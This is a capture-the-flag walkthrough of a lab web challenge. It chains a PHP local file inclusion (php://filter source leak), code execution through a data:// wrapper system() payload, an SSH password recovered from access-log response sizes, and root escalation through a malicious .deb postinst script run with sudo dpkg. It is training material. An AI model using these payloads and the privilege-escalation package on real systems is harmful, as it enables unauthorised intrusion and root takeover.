Sekai
Sekai
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: lfi_via_include_with_extension, php_filter_source_leak, data_wrapper_rce, access_log_forensics_by_response_size, sudo_dpkg_privesc
Summary
Walkthrough of the CUSTOM Web Sekai. Task: Multi-stage challenge — PHP web app with LFI via include(), SSH access, and root privesc. Solution: LFI with php://filter to leak source, data:// wrapper for RCE, extract SSH credentials from in
Description
Sekai (世界) — Под маяком всегда темно
English summary: A multi-stage challenge with a web application (Apache + PHP on port 28990) and SSH (port 28992). The web page displays Japanese text あなたと私はこの世界変えるでしょ ("You and I will change this world") with a sakura image. The title "Sekai" means "world" in Japanese, and the subtitle "Под маяком всегда темно" means "It's always dark under the lighthouse" — hinting that something is hidden in plain sight. The flag is split into two parts: one in /home/jack/first_part (requires SSH as jack) and one in /root/last_part (requires root).
Analysis
The challenge has four distinct phases:
-
LFI Discovery: The
?action=parameter feeds directly intoinclude($action.".php"). Onlyhttp/httpsstrings are blocked — all PHP wrappers (php://,data://) remain available. -
RCE via data:// wrapper:
phpinfo()revealsallow_url_include = Onwith nodisable_functionsoropen_basedir. Thedata://wrapper allows direct code execution. -
Access Log Forensics: A hint file from user
jacksays "What the fuck happened to the web log?" — pointing to/var/log/apache2/access.log. The log contains character-by-character exfiltration via?char=Xrequests from localhost. Response sizes alternate between 123 and 112 bytes, encoding two interleaved streams: the real password and decoy noise. -
Privilege Escalation: User
jackcan rundpkgas root without a password. GTFOBins documents the technique: build a malicious.debpackage with apostinstscript that runs as root during installation.
Solution
Phase 1: LFI → Source Code Disclosure
The web app uses a classic LFI pattern with appended .php extension:
php read-only • copy allowed<?php if (isset($_GET['action']) && !empty($_GET['action'])) { $action = $_GET['action']; if (strpos($action, 'http') !== false || strpos($action, 'https') !== false) { echo "Hacker detected!"; exit; } include($action.".php"); exit; } ?>
Leak the source code using php://filter:
bash read-only • copy allowedcurl "http://TARGET:28990/?action=php://filter/convert.base64-encode/resource=index" # Decode the base64 output to get index.php source
Phase 2: RCE via data:// Wrapper
Confirm allow_url_include = On via phpinfo, then execute commands:
bash read-only • copy allowed# Confirm RCE curl "http://TARGET:28990/?action=data://text/plain,<?php+system(\$_GET[c]);+?>&c=id" # Output: uid=33(www-data) gid=33(www-data) # Enumerate filesystem curl "http://TARGET:28990/?action=data://text/plain,<?php+system(\$_GET[c]);+?>&c=ls+-la+/home/jack/" # Found: first_part (owned by jack, not readable by www-data) # Found: for_engineering_department.txt → "What the fuck happened to the web log?" # Read the access log curl "http://TARGET:28990/?action=data://text/plain,<?php+system(\$_GET[c]);+?>&c=cat+/var/log/apache2/access.log"
Phase 3: Access Log Analysis → SSH Credentials
The access log contains character-by-character data exfiltration from localhost:
127.0.0.1 - - [20/Mar/2023:12:00:00 +0000] "GET /?char=j HTTP/1.1" 200 123
127.0.0.1 - - [20/Mar/2023:12:00:02 +0000] "GET /?char=1 HTTP/1.1" 200 112
127.0.0.1 - - [20/Mar/2023:12:00:04 +0000] "GET /?char=4 HTTP/1.1" 200 123
127.0.0.1 - - [20/Mar/2023:12:00:05 +0000] "GET /?char=b HTTP/1.1" 200 112
127.0.0.1 - - [20/Mar/2023:12:00:06 +0000] "GET /?char=c HTTP/1.1" 200 123
127.0.0.1 - - [20/Mar/2023:12:00:08 +0000] "GET /?char=x HTTP/1.1" 200 112
...
The key insight: response sizes alternate between 123 and 112 bytes. This separates two interleaved streams:
- Size 123 (real data): j, 4, c, k, j, 4, c, k, j, 4, c, k →
j4ckj4ckj4ck - Size 112 (decoy noise): 1, b, x, c, 9, f, 2, p, 7, z, 2 → garbage
SSH login with extracted credentials:
bash read-only • copy allowedsshpass -p 'j4ckj4ckj4ck' ssh jack@TARGET -p 28992 cat ~/first_part # CODEBY{M4Y_P34C3_
Phase 4: Privilege Escalation via sudo dpkg
bash read-only • copy allowed# Check sudo permissions sudo -l # (ALL) NOPASSWD: /usr/bin/dpkg # Build malicious .deb package (GTFOBins technique) mkdir -p /tmp/evil/DEBIAN cat > /tmp/evil/DEBIAN/control << EOF Package: evil Version: 1.0 Architecture: all Maintainer: x Description: x EOF cat > /tmp/evil/DEBIAN/postinst << 'EOF' #!/bin/sh ls -la /root/ > /tmp/root_ls.txt cat /root/* >> /tmp/root_ls.txt 2>/dev/null EOF chmod 755 /tmp/evil/DEBIAN/postinst dpkg-deb --build /tmp/evil /tmp/evil.deb sudo /usr/bin/dpkg -i /tmp/evil.deb cat /tmp/root_ls.txt # Found /root/last_part: REDACTED}
Combined flag: CODEBY{M4Y_P34C3_ + REDACTED} = CODEBY{REDACTED}
Key Takeaways / Lessons
- Mastering lfi_via_include_with_extension, php_filter_source_leak, data_wrapper_rce, access_log_forensics_by_response_size, sudo_dpkg_privesc was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-06-03 • CUSTOM • Sekai • Difficulty: Medium